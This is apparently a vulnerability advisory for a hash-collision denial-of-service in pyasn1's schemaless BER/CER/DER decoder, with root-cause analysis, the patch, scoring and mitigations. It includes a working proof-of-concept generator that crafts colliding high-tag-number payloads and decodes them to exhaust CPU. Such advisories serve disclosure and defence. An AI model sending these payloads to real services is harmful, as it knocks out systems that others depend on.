CVE-2026-119194: Algorithmic Complexity Denial of Service in pyasn1 Schemaless ASN.1 Decoder

pyasn1 is a pure-Python implementation of Abstract Syntax Notation One (ASN.1) types and Basic, Canonical, and Distinguished Encoding Rules (BER, CER, DER). It serves as a foundational parsing library for numerous network protocols and cryptographic formats in the Python ecosystem, including Lightweight Directory Access Protocol (LDAP), Simple Network Management Protocol (SNMP), and X.509 Public Key Infrastructure (PKI) services.

CVE-2026-119194 (also tracked as GHSA-fm9c-5rcf-2q5p) is an inefficient algorithmic complexity vulnerability (CWE-407) located in ConstructedPayloadDecoderBase._decodeComponentsSchemaless within pyasn1/codec/ber/decoder.py. Because the CER and DER decoders inherit their constructed payload handling directly from the BER implementation, all three encoding rule sets are affected.

The vulnerability is exposed when an application calls decoder.decode() on untrusted ASN.1 substrates without providing an explicit schema specification (asn1Spec=None). In this operational mode, the decoder inspects the tags of all incoming child elements to infer whether the parent container is homogeneous (SequenceOf or SetOf) or heterogeneous (Sequence or Set).

In versions 0.3.3 through 0.6.4, the decoder inserts the TagSet of every parsed child component into an unbounded Python set. An unauthenticated remote attacker can supply a constructed ASN.1 payload containing thousands of distinct tag numbers specifically calculated to produce identical hash values in CPython. This forces quadratic $O(N^2)$ equality comparisons during set insertion, monopolizing the Python Global Interpreter Lock (GIL) and exhausting CPU resources.

In ASN.1 wire formats (BER, CER, and DER), constructed container types (SEQUENCE / SEQUENCE OF and SET / SET OF) share identical outer tag identifiers (0x30 for Sequence and 0x31 for Set). When decoding a byte stream without a schema (asn1Spec=None), pyasn1 cannot know in advance whether a 0x30 container represents a univ.Sequence (which holds fields of varying types) or a univ.SequenceOf (which holds a list of elements of the exact same type).

To resolve this ambiguity dynamically, ConstructedPayloadDecoderBase._decodeComponentsSchemaless tracks the TagSet of each decoded child element inside a local Python set named componentTypes. After all child elements in the container are decoded, the method checks the cardinality of componentTypes. If len(componentTypes) <= 1, all elements share the same tag type and the container is instantiated as SequenceOf or SetOf. If len(componentTypes) >= 2, the container contains mixed types and is instantiated as Sequence or Set.

The root cause of CVE-2026-119194 is that _decodeComponentsSchemaless executed componentTypes.add(component.tagSet) unconditionally for every child component in the container. Even after two distinct TagSet objects had already been recorded—which permanently settles the heuristic in favor of a heterogeneous Sequence or Set—the decoder continued inserting all subsequent TagSet objects into componentTypes.

In CPython, the hash of an arbitrary-precision integer $x$ is computed via modular reduction against a fixed Mersenne prime modulus defined in sys.hash_info.modulus (which is $2^{61} - 1$ on 64-bit platforms and $2^{31} - 1$ on 32-bit platforms):

$$\text{hash}(x) = x \pmod{\text{sys.hash_info.modulus}}$$

While Python randomizes string and byte hashes via SipHash-2-4 (PEP 456) to prevent hash-flooding attacks, integer hashing remains deterministic, and tuple hashes are derived deterministically from the hashes of their constituent elements. In pyasn1, a Tag object caches its hash based on a tuple of (tagClass, tagFormat, tagId), and a TagSet hashes the tuple of its Tag objects.

Because ASN.1 supports high-tag-number encoding (where tag bits 0x1F indicate that the tag ID follows in base-128 variable-length octets), an attacker can encode arbitrarily large integer values for tagId. By constructing child components where the $i$-th component uses:

$$\text{tagId}_i = C + i \times \text{sys.hash_info.modulus}$$

every resulting TagSet object is distinct (tagSet_i != tagSet_j), yet every single one evaluates to the exact same hash value. When inserting the $k$-th colliding TagSet into componentTypes, Python's set implementation hits the exact same hash bucket and must traverse the open-addressing probe sequence, invoking TagSet.__eq__ against all $k - 1$ previously inserted objects. Across $N$ components, the total number of equality comparisons reaches:

$$\sum_{k=1}^{N} (k - 1) = \frac{N(N - 1)}{2} = O(N^2)$$

The vulnerability was remediated in commit a36e3a3d067148d26197a6b7221fd0e2cde9cc86 (Pull Request #132). The patch modifies ConstructedPayloadDecoderBase._decodeComponentsSchemaless in pyasn1/codec/ber/decoder.py.

--- a/pyasn1/codec/ber/decoder.py
+++ b/pyasn1/codec/ber/decoder.py
@@ -695,7 +695,10 @@ def _decodeComponentsSchemaless(
                 break
 
             components.append(component)
-            componentTypes.add(component.tagSet)
+            # Two distinct types settle the choice; keep the set bounded
+            # to avoid quadratic comparisons for colliding tag hashes.
+            if len(componentTypes) < 2:
+                componentTypes.add(component.tagSet)
 
             # Now we have to guess is it SEQUENCE/SET or SEQUENCE OF/SET OF
             # The heuristics is:

To understand how the fix operates in context, examine the complete structure of _decodeComponentsSchemaless after the patch is applied:

def _decodeComponentsSchemaless(
        self, substrate, tagSet=None, decodeFun=None,
        allowEoo=True, **options):
 
    components = []
    componentTypes = set()
 
    while substrate:
        component, substrate = decodeFun(
            substrate, **options
        )
        if allowEoo and component is eoo.endOfOctets:
            break
 
        components.append(component)
        # PATCH: Bound the set size to a maximum of 2 elements.
        # Once 2 distinct TagSets are recorded, the container is known
        # to be heterogeneous (Sequence/Set rather than SequenceOf/SetOf).
        if len(componentTypes) < 2:
            componentTypes.add(component.tagSet)
 
    # Heuristic evaluation downstream:
    if len(componentTypes) > 1:
        protoComponent = self.protoRecordComponent
    else:
        protoComponent = self.protoSequenceComponent

> [!NOTE] > Assessment of Fix Completeness: The fix is mathematically sound and complete for this code path. If an attacker supplies identical tags, componentTypes holds 1 element and component.tagSet in componentTypes resolves in a single equality check (True). If an attacker supplies distinct colliding tags, the first two distinct TagSet objects are inserted into componentTypes, bringing len(componentTypes) to 2. For all subsequent components ($i \ge 3$), the guard condition len(componentTypes) < 2 evaluates to False, completely bypassing both hash calculation and set insertion. The maximum number of hash collisions per container is strictly bounded to 1 comparison, restoring linear $O(N)$ runtime complexity.

Exploiting CVE-2026-119194 requires an application to pass attacker-controlled bytes to pyasn1's BER, CER, or DER decode() function without specifying an asn1Spec parameter. No authentication or prior state is required at the library level.

To construct a colliding payload, the attacker encodes an outer constructed container (such as a SEQUENCE with tag 0x30) containing $N$ child elements. Each child element is wrapped in an explicit context-specific constructed tag using ASN.1 long-form (high-tag-number) encoding:

1. First Octet (0xBF): Sets the tag class to Context-Specific (0b10), the format to Constructed (0b1), and the tag number bits to 0b11111 (31), signaling that the actual tag ID follows in base-128 octets.
2. Subsequent Tag ID Octets: Encode $\text{tagId}_i = 32 + i \times (2^{61} - 1)$ in big-endian base-128 format, where bit 8 (0x80) is set on all octets except the final octet.
3. Inner Payload: A minimal valid ASN.1 primitive, such as a 1-byte OCTET STRING (0x04 0x01 0x00), minimizing payload byte size relative to component count.

The following proof-of-concept generator, adapted from the official regression test suite in tests/codec/test_decoder_schemaless.py, demonstrates how the colliding substrate is constructed:

import sys
from pyasn1.codec.ber import decoder as ber_decoder
 
def encode_length(length):
    if length < 128:
        return bytes([length])
    octets = length.to_bytes((length.bit_length() + 7) // 8, 'big')
    return bytes([0x80 | len(octets)]) + octets
 
def encode_constructed(identifier, body, indefinite=False):
    if indefinite:
        return identifier + b'\x80' + body + b'\x00\x00'
    return identifier + encode_length(len(body)) + body
 
def craft_colliding_substrate(container_tag=0x30, count=5000, indefinite=False):
    # Use CPython's 64-bit hash modulus (2**61 - 1) to force collisions
    modulus = sys.hash_info.modulus
    tag_ids = [32 + idx * modulus for idx in range(count)]
    
    components = []
    for idx, tag_id in enumerate(tag_ids):
        octets = [tag_id & 0x7f]
        tag_id >>= 7
        while tag_id:
            octets.append((tag_id & 0x7f) | 0x80)
            tag_id >>= 7
        # 0xBF = Context-specific | Constructed | Long-form tag (31)
        identifier = b'\xbf' + bytes(reversed(octets))
        # Minimal inner OCTET STRING (tag 0x04, length 1)
        body = b'\x04\x01' + bytes([idx % 256])
        components.append(encode_constructed(identifier, body, indefinite))
    
    return encode_constructed(bytes([container_tag]), b''.join(components), indefinite)
 
# Trigger quadratic decoding behavior on pyasn1 < 0.6.5
payload = craft_colliding_substrate(count=5000)
decoded, _ = ber_decoder.decode(payload)

Each encoded component requires approximately 15 bytes on the wire (1 byte for 0xBF, 9–10 bytes for the base-128 encoded multiple of $2^{61}-1$, 1 length byte, and 3 bytes for the inner OCTET STRING). Consequently, a payload of roughly 150 KB can pack $N = 10,000$ colliding components, triggering approximately $50,000,000$ TagSet.__eq__ evaluations and stalling the Python worker process.

CVE-2026-119194 is rated 7.5 (High) under CVSS v3.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The vulnerability impacts availability exclusively, with no direct effect on confidentiality or integrity.

When exploited against a network service, the quadratic CPU consumption occurs inside pure-Python bytecode execution (TagSet.__eq__ and tuple comparison routines). Because CPython's Global Interpreter Lock (GIL) serializes bytecode execution across OS threads within a single process, a single malicious request can degrade or freeze all concurrent threads in a multi-threaded Python service.

In asynchronous frameworks (such as asyncio or Twisted) where ASN.1 parsing is performed synchronously on the main event loop thread, processing a colliding substrate blocks the event loop entirely, preventing the server from accepting new connections or servicing existing sockets until the quadratic loop finishes.

While the Exploit Prediction Scoring System (EPSS) score is currently low (0.00425, 36.83rd percentile) and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, any Python service performing diagnostic, proxy, or dynamic inspection of ASN.1 structures without an explicit schema is vulnerable to resource exhaustion.

The primary remediation is to upgrade pyasn1 to version 0.6.5 or later, which bounds the componentTypes set to a maximum of 2 items during schemaless decoding.

pip install --upgrade "pyasn1>=0.6.5"

For environments where immediate package upgrades are not feasible, developers and administrators should apply the following architectural mitigations:

1. Enforce Schema-Driven Decoding: Always pass an explicit asn1Spec model when calling decoder.decode(). When asn1Spec is provided, pyasn1 uses the schema definition to determine whether a constructed container is a Sequence or SequenceOf, completely bypassing _decodeComponentsSchemaless.

from pyasn1.codec.ber import decoder
from pyasn1.type import univ, namedtype
 
class ExpectedPayload(univ.Sequence):
    componentType = namedtype.NamedTypes(
        namedtype.NamedType('id', univ.Integer()),
        namedtype.NamedType('data', univ.OctetString())
    )
 
# Safe: _decodeComponentsSchemaless is never invoked when asn1Spec is set
decoded, rest = decoder.decode(substrate, asn1Spec=ExpectedPayload())

2. Restrict Payload Sizes at the Transport Layer: Enforce strict maximum message size limits on incoming ASN.1 payloads before passing buffers to pyasn1. Because each colliding high-tag-number element requires at least 14–15 bytes on 64-bit systems, limiting maximum ASN.1 frame sizes reduces the maximum achievable value of $N$ in the $O(N^2)$ complexity curve.